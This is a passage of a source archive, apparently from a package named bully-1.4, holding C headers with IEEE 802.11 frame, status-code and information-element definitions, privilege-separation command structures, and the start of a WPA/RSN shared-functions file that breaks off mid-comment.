bully-1.4-00/src/common/ieee802_11_common.h000077500000000000000000000036171361530463600202050ustar00rootroot00000000000000/* * IEEE 802.11 Common routines * Copyright (c) 2002-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef IEEE802_11_COMMON_H #define IEEE802_11_COMMON_H /* Parsed Information Elements */ struct ieee802_11_elems { const u8 *ssid; const u8 *supp_rates; const u8 *fh_params; const u8 *ds_params; const u8 *cf_params; const u8 *tim; const u8 *ibss_params; const u8 *challenge; const u8 *erp_info; const u8 *ext_supp_rates; const u8 *wpa_ie; const u8 *rsn_ie; const u8 *wmm; /* WMM Information or Parameter Element */ const u8 *wmm_tspec; const u8 *wps_ie; const u8 *power_cap; const u8 *supp_channels; const u8 *mdie; const u8 *ftie; const u8 *timeout_int; const u8 *ht_capabilities; const u8 *ht_operation; const u8 *vendor_ht_cap; u8 ssid_len; u8 supp_rates_len; u8 fh_params_len; u8 ds_params_len; u8 cf_params_len; u8 tim_len; u8 ibss_params_len; u8 challenge_len; u8 erp_info_len; u8 ext_supp_rates_len; u8 wpa_ie_len; u8 rsn_ie_len; u8 wmm_len; /* 7 = WMM Information; 24 = WMM Parameter */ u8 wmm_tspec_len; u8 wps_ie_len; u8 power_cap_len; u8 supp_channels_len; u8 mdie_len; u8 ftie_len; u8 timeout_int_len; u8 ht_capabilities_len; u8 ht_operation_len; u8 vendor_ht_cap_len; }; typedef enum { ParseOK = 0, ParseUnknown = 1, ParseFailed = -1 } ParseRes; ParseRes ieee802_11_parse_elems(const u8 *start, size_t len, struct ieee802_11_elems *elems, int show_errors); int ieee802_11_ie_count(const u8 *ies, size_t ies_len); struct wpabuf * ieee802_11_vendor_ie_concat(const u8 *ies, size_t ies_len, u32 oui_type); #endif /* IEEE802_11_COMMON_H */ bully-1.4-00/src/common/ieee802_11_defs.h000077500000000000000000000450551361530463600176400ustar00rootroot00000000000000/* * IEEE 802.11 Frame type definitions * Copyright (c) 2002-2009, Jouni Malinen * Copyright (c) 2007-2008 Intel Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef IEEE802_11_DEFS_H #define IEEE802_11_DEFS_H /* IEEE 802.11 defines */ #define WLAN_FC_PVER 0x0003 #define WLAN_FC_TODS 0x0100 #define WLAN_FC_FROMDS 0x0200 #define WLAN_FC_MOREFRAG 0x0400 #define WLAN_FC_RETRY 0x0800 #define WLAN_FC_PWRMGT 0x1000 #define WLAN_FC_MOREDATA 0x2000 #define WLAN_FC_ISWEP 0x4000 #define WLAN_FC_ORDER 0x8000 #define WLAN_FC_GET_TYPE(fc) (((fc) & 0x000c) >> 2) #define WLAN_FC_GET_STYPE(fc) (((fc) & 0x00f0) >> 4) #define WLAN_GET_SEQ_FRAG(seq) ((seq) & (BIT(3) | BIT(2) | BIT(1) | BIT(0))) #define WLAN_GET_SEQ_SEQ(seq) \ (((seq) & (~(BIT(3) | BIT(2) | BIT(1) | BIT(0)))) >> 4) #define WLAN_FC_TYPE_MGMT 0 #define WLAN_FC_TYPE_CTRL 1 #define WLAN_FC_TYPE_DATA 2 /* management */ #define WLAN_FC_STYPE_ASSOC_REQ 0 #define WLAN_FC_STYPE_ASSOC_RESP 1 #define WLAN_FC_STYPE_REASSOC_REQ 2 #define WLAN_FC_STYPE_REASSOC_RESP 3 #define WLAN_FC_STYPE_PROBE_REQ 4 #define WLAN_FC_STYPE_PROBE_RESP 5 #define WLAN_FC_STYPE_BEACON 8 #define WLAN_FC_STYPE_ATIM 9 #define WLAN_FC_STYPE_DISASSOC 10 #define WLAN_FC_STYPE_AUTH 11 #define WLAN_FC_STYPE_DEAUTH 12 #define WLAN_FC_STYPE_ACTION 13 /* control */ #define WLAN_FC_STYPE_PSPOLL 10 #define WLAN_FC_STYPE_RTS 11 #define WLAN_FC_STYPE_CTS 12 #define WLAN_FC_STYPE_ACK 13 #define WLAN_FC_STYPE_CFEND 14 #define WLAN_FC_STYPE_CFENDACK 15 /* data */ #define WLAN_FC_STYPE_DATA 0 #define WLAN_FC_STYPE_DATA_CFACK 1 #define WLAN_FC_STYPE_DATA_CFPOLL 2 #define WLAN_FC_STYPE_DATA_CFACKPOLL 3 #define WLAN_FC_STYPE_NULLFUNC 4 #define WLAN_FC_STYPE_CFACK 5 #define WLAN_FC_STYPE_CFPOLL 6 #define WLAN_FC_STYPE_CFACKPOLL 7 #define WLAN_FC_STYPE_QOS_DATA 8 /* Authentication algorithms */ #define WLAN_AUTH_OPEN 0 #define WLAN_AUTH_SHARED_KEY 1 #define WLAN_AUTH_FT 2 #define WLAN_AUTH_LEAP 128 #define WLAN_AUTH_CHALLENGE_LEN 128 #define WLAN_CAPABILITY_ESS BIT(0) #define WLAN_CAPABILITY_IBSS BIT(1) #define WLAN_CAPABILITY_CF_POLLABLE BIT(2) #define WLAN_CAPABILITY_CF_POLL_REQUEST BIT(3) #define WLAN_CAPABILITY_PRIVACY BIT(4) #define WLAN_CAPABILITY_SHORT_PREAMBLE BIT(5) #define WLAN_CAPABILITY_PBCC BIT(6) #define WLAN_CAPABILITY_CHANNEL_AGILITY BIT(7) #define WLAN_CAPABILITY_SPECTRUM_MGMT BIT(8) #define WLAN_CAPABILITY_SHORT_SLOT_TIME BIT(10) #define WLAN_CAPABILITY_DSSS_OFDM BIT(13) /* Status codes (IEEE 802.11-2007, 7.3.1.9, Table 7-23) */ #define WLAN_STATUS_SUCCESS 0 #define WLAN_STATUS_UNSPECIFIED_FAILURE 1 #define WLAN_STATUS_CAPS_UNSUPPORTED 10 #define WLAN_STATUS_REASSOC_NO_ASSOC 11 #define WLAN_STATUS_ASSOC_DENIED_UNSPEC 12 #define WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG 13 #define WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION 14 #define WLAN_STATUS_CHALLENGE_FAIL 15 #define WLAN_STATUS_AUTH_TIMEOUT 16 #define WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA 17 #define WLAN_STATUS_ASSOC_DENIED_RATES 18 /* IEEE 802.11b */ #define WLAN_STATUS_ASSOC_DENIED_NOSHORT 19 #define WLAN_STATUS_ASSOC_DENIED_NOPBCC 20 #define WLAN_STATUS_ASSOC_DENIED_NOAGILITY 21 /* IEEE 802.11h */ #define WLAN_STATUS_SPEC_MGMT_REQUIRED 22 #define WLAN_STATUS_PWR_CAPABILITY_NOT_VALID 23 #define WLAN_STATUS_SUPPORTED_CHANNEL_NOT_VALID 24 /* IEEE 802.11g */ #define WLAN_STATUS_ASSOC_DENIED_NO_SHORT_SLOT_TIME 25 #define WLAN_STATUS_ASSOC_DENIED_NO_ER_PBCC 26 #define WLAN_STATUS_ASSOC_DENIED_NO_DSSS_OFDM 27 #define WLAN_STATUS_R0KH_UNREACHABLE 28 /* IEEE 802.11w */ #define WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY 30 #define WLAN_STATUS_ROBUST_MGMT_FRAME_POLICY_VIOLATION 31 #define WLAN_STATUS_UNSPECIFIED_QOS_FAILURE 32 #define WLAN_STATUS_REQUEST_DECLINED 37 #define WLAN_STATUS_INVALID_PARAMETERS 38 /* IEEE 802.11i */ #define WLAN_STATUS_INVALID_IE 40 #define WLAN_STATUS_GROUP_CIPHER_NOT_VALID 41 #define WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID 42 #define WLAN_STATUS_AKMP_NOT_VALID 43 #define WLAN_STATUS_UNSUPPORTED_RSN_IE_VERSION 44 #define WLAN_STATUS_INVALID_RSN_IE_CAPAB 45 #define WLAN_STATUS_CIPHER_REJECTED_PER_POLICY 46 #define WLAN_STATUS_TS_NOT_CREATED 47 #define WLAN_STATUS_DIRECT_LINK_NOT_ALLOWED 48 #define WLAN_STATUS_DEST_STA_NOT_PRESENT 49 #define WLAN_STATUS_DEST_STA_NOT_QOS_STA 50 #define WLAN_STATUS_ASSOC_DENIED_LISTEN_INT_TOO_LARGE 51 /* IEEE 802.11r */ #define WLAN_STATUS_INVALID_FT_ACTION_FRAME_COUNT 52 #define WLAN_STATUS_INVALID_PMKID 53 #define WLAN_STATUS_INVALID_MDIE 54 #define WLAN_STATUS_INVALID_FTIE 55 /* Reason codes (IEEE 802.11-2007, 7.3.1.7, Table 7-22) */ #define WLAN_REASON_UNSPECIFIED 1 #define WLAN_REASON_PREV_AUTH_NOT_VALID 2 #define WLAN_REASON_DEAUTH_LEAVING 3 #define WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY 4 #define WLAN_REASON_DISASSOC_AP_BUSY 5 #define WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA 6 #define WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA 7 #define WLAN_REASON_DISASSOC_STA_HAS_LEFT 8 #define WLAN_REASON_STA_REQ_ASSOC_WITHOUT_AUTH 9 /* IEEE 802.11h */ #define WLAN_REASON_PWR_CAPABILITY_NOT_VALID 10 #define WLAN_REASON_SUPPORTED_CHANNEL_NOT_VALID 11 /* IEEE 802.11i */ #define WLAN_REASON_INVALID_IE 13 #define WLAN_REASON_MICHAEL_MIC_FAILURE 14 #define WLAN_REASON_4WAY_HANDSHAKE_TIMEOUT 15 #define WLAN_REASON_GROUP_KEY_UPDATE_TIMEOUT 16 #define WLAN_REASON_IE_IN_4WAY_DIFFERS 17 #define WLAN_REASON_GROUP_CIPHER_NOT_VALID 18 #define WLAN_REASON_PAIRWISE_CIPHER_NOT_VALID 19 #define WLAN_REASON_AKMP_NOT_VALID 20 #define WLAN_REASON_UNSUPPORTED_RSN_IE_VERSION 21 #define WLAN_REASON_INVALID_RSN_IE_CAPAB 22 #define WLAN_REASON_IEEE_802_1X_AUTH_FAILED 23 #define WLAN_REASON_CIPHER_SUITE_REJECTED 24 /* Information Element IDs */ #define WLAN_EID_SSID 0 #define WLAN_EID_SUPP_RATES 1 #define WLAN_EID_FH_PARAMS 2 #define WLAN_EID_DS_PARAMS 3 #define WLAN_EID_CF_PARAMS 4 #define WLAN_EID_TIM 5 #define WLAN_EID_IBSS_PARAMS 6 #define WLAN_EID_COUNTRY 7 #define WLAN_EID_CHALLENGE 16 /* EIDs defined by IEEE 802.11h - START */ #define WLAN_EID_PWR_CONSTRAINT 32 #define WLAN_EID_PWR_CAPABILITY 33 #define WLAN_EID_TPC_REQUEST 34 #define WLAN_EID_TPC_REPORT 35 #define WLAN_EID_SUPPORTED_CHANNELS 36 #define WLAN_EID_CHANNEL_SWITCH 37 #define WLAN_EID_MEASURE_REQUEST 38 #define WLAN_EID_MEASURE_REPORT 39 #define WLAN_EID_QUITE 40 #define WLAN_EID_IBSS_DFS 41 /* EIDs defined by IEEE 802.11h - END */ #define WLAN_EID_ERP_INFO 42 #define WLAN_EID_HT_CAP 45 #define WLAN_EID_RSN 48 #define WLAN_EID_EXT_SUPP_RATES 50 #define WLAN_EID_MOBILITY_DOMAIN 54 #define WLAN_EID_FAST_BSS_TRANSITION 55 #define WLAN_EID_TIMEOUT_INTERVAL 56 #define WLAN_EID_RIC_DATA 57 #define WLAN_EID_HT_OPERATION 61 #define WLAN_EID_SECONDARY_CHANNEL_OFFSET 62 #define WLAN_EID_20_40_BSS_COEXISTENCE 72 #define WLAN_EID_20_40_BSS_INTOLERANT 73 #define WLAN_EID_OVERLAPPING_BSS_SCAN_PARAMS 74 #define WLAN_EID_MMIE 76 #define WLAN_EID_VENDOR_SPECIFIC 221 /* Action frame categories (IEEE 802.11-2007, 7.3.1.11, Table 7-24) */ #define WLAN_ACTION_SPECTRUM_MGMT 0 #define WLAN_ACTION_QOS 1 #define WLAN_ACTION_DLS 2 #define WLAN_ACTION_BLOCK_ACK 3 #define WLAN_ACTION_PUBLIC 4 #define WLAN_ACTION_RADIO_MEASUREMENT 5 #define WLAN_ACTION_FT 6 #define WLAN_ACTION_HT 7 #define WLAN_ACTION_SA_QUERY 8 #define WLAN_ACTION_WMM 17 /* WMM Specification 1.1 */ /* SA Query Action frame (IEEE 802.11w/D8.0, 7.4.9) */ #define WLAN_SA_QUERY_REQUEST 0 #define WLAN_SA_QUERY_RESPONSE 1 #define WLAN_SA_QUERY_TR_ID_LEN 2 /* Timeout Interval Type */ #define WLAN_TIMEOUT_REASSOC_DEADLINE 1 #define WLAN_TIMEOUT_KEY_LIFETIME 2 #define WLAN_TIMEOUT_ASSOC_COMEBACK 3 #ifdef _MSC_VER #pragma pack(push, 1) #endif /* _MSC_VER */ struct ieee80211_hdr { le16 frame_control; le16 duration_id; u8 addr1[6]; u8 addr2[6]; u8 addr3[6]; le16 seq_ctrl; /* followed by 'u8 addr4[6];' if ToDS and FromDS is set in data frame */ } STRUCT_PACKED; #define IEEE80211_DA_FROMDS addr1 #define IEEE80211_BSSID_FROMDS addr2 #define IEEE80211_SA_FROMDS addr3 #define IEEE80211_HDRLEN (sizeof(struct ieee80211_hdr)) #define IEEE80211_FC(type, stype) host_to_le16((type << 2) | (stype << 4)) struct ieee80211_mgmt { le16 frame_control; le16 duration; u8 da[6]; u8 sa[6]; u8 bssid[6]; le16 seq_ctrl; union { struct { le16 auth_alg; le16 auth_transaction; le16 status_code; /* possibly followed by Challenge text */ u8 variable[0]; } STRUCT_PACKED auth; struct { le16 reason_code; } STRUCT_PACKED deauth; struct { le16 capab_info; le16 listen_interval; /* followed by SSID and Supported rates */ u8 variable[0]; } STRUCT_PACKED assoc_req; struct { le16 capab_info; le16 status_code; le16 aid; /* followed by Supported rates */ u8 variable[0]; } STRUCT_PACKED assoc_resp, reassoc_resp; struct { le16 capab_info; le16 listen_interval; u8 current_ap[6]; /* followed by SSID and Supported rates */ u8 variable[0]; } STRUCT_PACKED reassoc_req; struct { le16 reason_code; } STRUCT_PACKED disassoc; struct { u8 timestamp[8]; le16 beacon_int; le16 capab_info; /* followed by some of SSID, Supported rates, * FH Params, DS Params, CF Params, IBSS Params, TIM */ u8 variable[0]; } STRUCT_PACKED beacon; struct { /* only variable items: SSID, Supported rates */ u8 variable[0]; } STRUCT_PACKED probe_req; struct { u8 timestamp[8]; le16 beacon_int; le16 capab_info; /* followed by some of SSID, Supported rates, * FH Params, DS Params, CF Params, IBSS Params */ u8 variable[0]; } STRUCT_PACKED probe_resp; struct { u8 category; union { struct { u8 action_code; u8 dialog_token; u8 status_code; u8 variable[0]; } STRUCT_PACKED wmm_action; struct{ u8 action_code; u8 element_id; u8 length; u8 switch_mode; u8 new_chan; u8 switch_count; } STRUCT_PACKED chan_switch; struct { u8 action; u8 sta_addr[ETH_ALEN]; u8 target_ap_addr[ETH_ALEN]; u8 variable[0]; /* FT Request */ } STRUCT_PACKED ft_action_req; struct { u8 action; u8 sta_addr[ETH_ALEN]; u8 target_ap_addr[ETH_ALEN]; le16 status_code; u8 variable[0]; /* FT Request */ } STRUCT_PACKED ft_action_resp; struct { u8 action; u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN]; } STRUCT_PACKED sa_query_req; struct { u8 action; /* */ u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN]; } STRUCT_PACKED sa_query_resp; } u; } STRUCT_PACKED action; } u; } STRUCT_PACKED; struct ieee80211_ht_capabilities { le16 ht_capabilities_info; u8 a_mpdu_params; u8 supported_mcs_set[16]; le16 ht_extended_capabilities; le32 tx_bf_capability_info; u8 asel_capabilities; } STRUCT_PACKED; struct ieee80211_ht_operation { u8 control_chan; u8 ht_param; le16 operation_mode; le16 stbc_param; u8 basic_set[16]; } STRUCT_PACKED; #ifdef _MSC_VER #pragma pack(pop) #endif /* _MSC_VER */ #define ERP_INFO_NON_ERP_PRESENT BIT(0) #define ERP_INFO_USE_PROTECTION BIT(1) #define ERP_INFO_BARKER_PREAMBLE_MODE BIT(2) #define HT_CAP_INFO_LDPC_CODING_CAP ((u16) BIT(0)) #define HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET ((u16) BIT(1)) #define HT_CAP_INFO_SMPS_MASK ((u16) (BIT(2) | BIT(3))) #define HT_CAP_INFO_SMPS_STATIC ((u16) 0) #define HT_CAP_INFO_SMPS_DYNAMIC ((u16) BIT(2)) #define HT_CAP_INFO_SMPS_DISABLED ((u16) (BIT(2) | BIT(3))) #define HT_CAP_INFO_GREEN_FIELD ((u16) BIT(4)) #define HT_CAP_INFO_SHORT_GI20MHZ ((u16) BIT(5)) #define HT_CAP_INFO_SHORT_GI40MHZ ((u16) BIT(6)) #define HT_CAP_INFO_TX_STBC ((u16) BIT(7)) #define HT_CAP_INFO_RX_STBC_MASK ((u16) (BIT(8) | BIT(9))) #define HT_CAP_INFO_RX_STBC_1 ((u16) BIT(8)) #define HT_CAP_INFO_RX_STBC_12 ((u16) BIT(9)) #define HT_CAP_INFO_RX_STBC_123 ((u16) (BIT(8) | BIT(9))) #define HT_CAP_INFO_DELAYED_BA ((u16) BIT(10)) #define HT_CAP_INFO_MAX_AMSDU_SIZE ((u16) BIT(11)) #define HT_CAP_INFO_DSSS_CCK40MHZ ((u16) BIT(12)) #define HT_CAP_INFO_PSMP_SUPP ((u16) BIT(13)) #define HT_CAP_INFO_40MHZ_INTOLERANT ((u16) BIT(14)) #define HT_CAP_INFO_LSIG_TXOP_PROTECT_SUPPORT ((u16) BIT(15)) #define EXT_HT_CAP_INFO_PCO ((u16) BIT(0)) #define EXT_HT_CAP_INFO_TRANS_TIME_OFFSET 1 #define EXT_HT_CAP_INFO_MCS_FEEDBACK_OFFSET 8 #define EXT_HT_CAP_INFO_HTC_SUPPORTED ((u16) BIT(10)) #define EXT_HT_CAP_INFO_RD_RESPONDER ((u16) BIT(11)) #define TX_BEAMFORM_CAP_TXBF_CAP ((u32) BIT(0)) #define TX_BEAMFORM_CAP_RX_STAGGERED_SOUNDING_CAP ((u32) BIT(1)) #define TX_BEAMFORM_CAP_TX_STAGGERED_SOUNDING_CAP ((u32) BIT(2)) #define TX_BEAMFORM_CAP_RX_ZLF_CAP ((u32) BIT(3)) #define TX_BEAMFORM_CAP_TX_ZLF_CAP ((u32) BIT(4)) #define TX_BEAMFORM_CAP_IMPLICIT_ZLF_CAP ((u32) BIT(5)) #define TX_BEAMFORM_CAP_CALIB_OFFSET 6 #define TX_BEAMFORM_CAP_EXPLICIT_CSI_TXBF_CAP ((u32) BIT(8)) #define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_CAP ((u32) BIT(9)) #define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_CAP ((u32) BIT(10)) #define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_OFFSET 11 #define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_FEEDBACK_OFFSET 13 #define TX_BEAMFORM_CAP_EXPLICIT_COMPRESSED_STEERING_MATRIX_FEEDBACK_OFFSET 15 #define TX_BEAMFORM_CAP_MINIMAL_GROUPING_OFFSET 17 #define TX_BEAMFORM_CAP_CSI_NUM_BEAMFORMER_ANT_OFFSET 19 #define TX_BEAMFORM_CAP_UNCOMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 21 #define TX_BEAMFORM_CAP_COMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 23 #define TX_BEAMFORM_CAP_SCI_MAX_OF_ROWS_BEANFORMER_SUPPORTED_OFFSET 25 #define ASEL_CAPABILITY_ASEL_CAPABLE ((u8) BIT(0)) #define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(1)) #define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(2)) #define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_CAP ((u8) BIT(3)) #define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_CAP ((u8) BIT(4)) #define ASEL_CAPABILITY_RX_AS_CAP ((u8) BIT(5)) #define ASEL_CAPABILITY_TX_SOUND_PPDUS_CAP ((u8) BIT(6)) #define HT_INFO_HT_PARAM_SECONDARY_CHNL_OFF_MASK ((u8) BIT(0) | BIT(1)) #define HT_INFO_HT_PARAM_SECONDARY_CHNL_ABOVE ((u8) BIT(0)) #define HT_INFO_HT_PARAM_SECONDARY_CHNL_BELOW ((u8) BIT(0) | BIT(1)) #define HT_INFO_HT_PARAM_REC_TRANS_CHNL_WIDTH ((u8) BIT(2)) #define HT_INFO_HT_PARAM_RIFS_MODE ((u8) BIT(3)) #define HT_INFO_HT_PARAM_CTRL_ACCESS_ONLY ((u8) BIT(4)) #define HT_INFO_HT_PARAM_SRV_INTERVAL_GRANULARITY ((u8) BIT(5)) #define OP_MODE_PURE 0 #define OP_MODE_MAY_BE_LEGACY_STAS 1 #define OP_MODE_20MHZ_HT_STA_ASSOCED 2 #define OP_MODE_MIXED 3 #define HT_INFO_OPERATION_MODE_OP_MODE_MASK \ ((le16) (0x0001 | 0x0002)) #define HT_INFO_OPERATION_MODE_OP_MODE_OFFSET 0 #define HT_INFO_OPERATION_MODE_NON_GF_DEVS_PRESENT ((u8) BIT(2)) #define HT_INFO_OPERATION_MODE_TRANSMIT_BURST_LIMIT ((u8) BIT(3)) #define HT_INFO_OPERATION_MODE_NON_HT_STA_PRESENT ((u8) BIT(4)) #define HT_INFO_STBC_PARAM_DUAL_BEACON ((u16) BIT(6)) #define HT_INFO_STBC_PARAM_DUAL_STBC_PROTECT ((u16) BIT(7)) #define HT_INFO_STBC_PARAM_SECONDARY_BCN ((u16) BIT(8)) #define HT_INFO_STBC_PARAM_LSIG_TXOP_PROTECT_ALLOWED ((u16) BIT(9)) #define HT_INFO_STBC_PARAM_PCO_ACTIVE ((u16) BIT(10)) #define HT_INFO_STBC_PARAM_PCO_PHASE ((u16) BIT(11)) #define OUI_MICROSOFT 0x0050f2 /* Microsoft (also used in Wi-Fi specs) * 00:50:F2 */ #define WPA_IE_VENDOR_TYPE 0x0050f201 #define WPS_IE_VENDOR_TYPE 0x0050f204 #define WMM_OUI_TYPE 2 #define WMM_OUI_SUBTYPE_INFORMATION_ELEMENT 0 #define WMM_OUI_SUBTYPE_PARAMETER_ELEMENT 1 #define WMM_OUI_SUBTYPE_TSPEC_ELEMENT 2 #define WMM_VERSION 1 #define WMM_ACTION_CODE_ADDTS_REQ 0 #define WMM_ACTION_CODE_ADDTS_RESP 1 #define WMM_ACTION_CODE_DELTS 2 #define WMM_ADDTS_STATUS_ADMISSION_ACCEPTED 0 #define WMM_ADDTS_STATUS_INVALID_PARAMETERS 1 /* 2 - Reserved */ #define WMM_ADDTS_STATUS_REFUSED 3 /* 4-255 - Reserved */ /* WMM TSPEC Direction Field Values */ #define WMM_TSPEC_DIRECTION_UPLINK 0 #define WMM_TSPEC_DIRECTION_DOWNLINK 1 /* 2 - Reserved */ #define WMM_TSPEC_DIRECTION_BI_DIRECTIONAL 3 /* * WMM Information Element (used in (Re)Association Request frames; may also be * used in Beacon frames) */ struct wmm_information_element { /* Element ID: 221 (0xdd); Length: 7 */ /* required fields for WMM version 1 */ u8 oui[3]; /* 00:50:f2 */ u8 oui_type; /* 2 */ u8 oui_subtype; /* 0 */ u8 version; /* 1 for WMM version 1.0 */ u8 qos_info; /* AP/STA specific QoS info */ } STRUCT_PACKED; #define WMM_AC_AIFSN_MASK 0x0f #define WMM_AC_AIFNS_SHIFT 0 #define WMM_AC_ACM 0x10 #define WMM_AC_ACI_MASK 0x60 #define WMM_AC_ACI_SHIFT 5 #define WMM_AC_ECWMIN_MASK 0x0f #define WMM_AC_ECWMIN_SHIFT 0 #define WMM_AC_ECWMAX_MASK 0xf0 #define WMM_AC_ECWMAX_SHIFT 4 struct wmm_ac_parameter { u8 aci_aifsn; /* AIFSN, ACM, ACI */ u8 cw; /* ECWmin, ECWmax (CW = 2^ECW - 1) */ le16 txop_limit; } STRUCT_PACKED; /* * WMM Parameter Element (used in Beacon, Probe Response, and (Re)Association * Response frmaes) */ struct wmm_parameter_element { /* Element ID: 221 (0xdd); Length: 24 */ /* required fields for WMM version 1 */ u8 oui[3]; /* 00:50:f2 */ u8 oui_type; /* 2 */ u8 oui_subtype; /* 1 */ u8 version; /* 1 for WMM version 1.0 */ u8 qos_info; /* AP/STA specif QoS info */ u8 reserved; /* 0 */ struct wmm_ac_parameter ac[4]; /* AC_BE, AC_BK, AC_VI, AC_VO */ } STRUCT_PACKED; /* WMM TSPEC Element */ struct wmm_tspec_element { u8 eid; /* 221 = 0xdd */ u8 length; /* 6 + 55 = 61 */ u8 oui[3]; /* 00:50:f2 */ u8 oui_type; /* 2 */ u8 oui_subtype; /* 2 */ u8 version; /* 1 */ /* WMM TSPEC body (55 octets): */ u8 ts_info[3]; le16 nominal_msdu_size; le16 maximum_msdu_size; le32 minimum_service_interval; le32 maximum_service_interval; le32 inactivity_interval; le32 suspension_interval; le32 service_start_time; le32 minimum_data_rate; le32 mean_data_rate; le32 peak_data_rate; le32 maximum_burst_size; le32 delay_bound; le32 minimum_phy_rate; le16 surplus_bandwidth_allowance; le16 medium_time; } STRUCT_PACKED; /* Access Categories / ACI to AC coding */ enum { WMM_AC_BE = 0 /* Best Effort */, WMM_AC_BK = 1 /* Background */, WMM_AC_VI = 2 /* Video */, WMM_AC_VO = 3 /* Voice */ }; #define OUI_BROADCOM 0x00904c /* Broadcom (Epigram) */ #define VENDOR_HT_CAPAB_OUI_TYPE 0x33 /* 00-90-4c:0x33 */ /* cipher suite selectors */ #define WLAN_CIPHER_SUITE_USE_GROUP 0x000FAC00 #define WLAN_CIPHER_SUITE_WEP40 0x000FAC01 #define WLAN_CIPHER_SUITE_TKIP 0x000FAC02 /* reserved: 0x000FAC03 */ #define WLAN_CIPHER_SUITE_CCMP 0x000FAC04 #define WLAN_CIPHER_SUITE_WEP104 0x000FAC05 #define WLAN_CIPHER_SUITE_AES_CMAC 0x000FAC06 /* AKM suite selectors */ #define WLAN_AKM_SUITE_8021X 0x000FAC01 #define WLAN_AKM_SUITE_PSK 0x000FAC02 #endif /* IEEE802_11_DEFS_H */ bully-1.4-00/src/common/privsep_commands.h000077500000000000000000000031031361530463600205320ustar00rootroot00000000000000/* * WPA Supplicant - privilege separation commands * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PRIVSEP_COMMANDS_H #define PRIVSEP_COMMANDS_H enum privsep_cmd { PRIVSEP_CMD_REGISTER, PRIVSEP_CMD_UNREGISTER, PRIVSEP_CMD_SCAN, PRIVSEP_CMD_GET_SCAN_RESULTS, PRIVSEP_CMD_ASSOCIATE, PRIVSEP_CMD_GET_BSSID, PRIVSEP_CMD_GET_SSID, PRIVSEP_CMD_SET_KEY, PRIVSEP_CMD_GET_CAPA, PRIVSEP_CMD_L2_REGISTER, PRIVSEP_CMD_L2_UNREGISTER, PRIVSEP_CMD_L2_NOTIFY_AUTH_START, PRIVSEP_CMD_L2_SEND, PRIVSEP_CMD_SET_COUNTRY, }; struct privsep_cmd_associate { u8 bssid[ETH_ALEN]; u8 ssid[32]; size_t ssid_len; int freq; int pairwise_suite; int group_suite; int key_mgmt_suite; int auth_alg; int mode; size_t wpa_ie_len; /* followed by wpa_ie_len bytes of wpa_ie */ }; struct privsep_cmd_set_key { int alg; u8 addr[ETH_ALEN]; int key_idx; int set_tx; u8 seq[8]; size_t seq_len; u8 key[32]; size_t key_len; }; enum privsep_event { PRIVSEP_EVENT_SCAN_RESULTS, PRIVSEP_EVENT_ASSOC, PRIVSEP_EVENT_DISASSOC, PRIVSEP_EVENT_ASSOCINFO, PRIVSEP_EVENT_MICHAEL_MIC_FAILURE, PRIVSEP_EVENT_INTERFACE_STATUS, PRIVSEP_EVENT_PMKID_CANDIDATE, PRIVSEP_EVENT_STKSTART, PRIVSEP_EVENT_FT_RESPONSE, PRIVSEP_EVENT_RX_EAPOL, }; #endif /* PRIVSEP_COMMANDS_H */ bully-1.4-00/src/common/version.h000077500000000000000000000001311361530463600166440ustar00rootroot00000000000000#ifndef VERSION_H #define VERSION_H #define VERSION_STR "0.7.3" #endif /* VERSION_H */ bully-1.4-00/src/common/wpa_common.c000077500000000000000000000511571361530463600173270ustar00rootroot00000000000000/* * WPA/RSN - Shared functions for supplicant and authenticator * Copyright (c) 2002-2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/sha256.h" #include "crypto/aes_wrap.h" #include "crypto/crypto.h" #include "ieee802_11_defs.h" #include "defs.h" #include "wpa_common.h" /** * wpa_eapol_key_mic - Calculate EAPOL-Key MIC * @key: EAPOL-Key Key Confirmation Key (KCK) * @ver: Key descriptor version (WPA_KEY_INFO_TYPE_*) * @buf: Pointer to the beginning of the EAPOL header (version field) * @len: Length of the EAPOL frame (from EAPOL header to the end of the frame) * @mic: Pointer to the buffer to which the EAPOL-Key MIC is written * Returns: 0 on success, -1 on failure * * Calculate EAPOL-Key MIC for an EAPOL-Key packet. The EAPOL-Key MIC field has * to be cleared (all zeroes) when calling this function. * * Note: 'IEEE Std 802.11i-2004 - 8.5.2 EAPOL-Key frames' has an error in the * description of the Key MIC calculation. It includes packet data from the * beginning of the EAPOL-Key header, not EAPOL header. This incorrect change * happened during final editing of 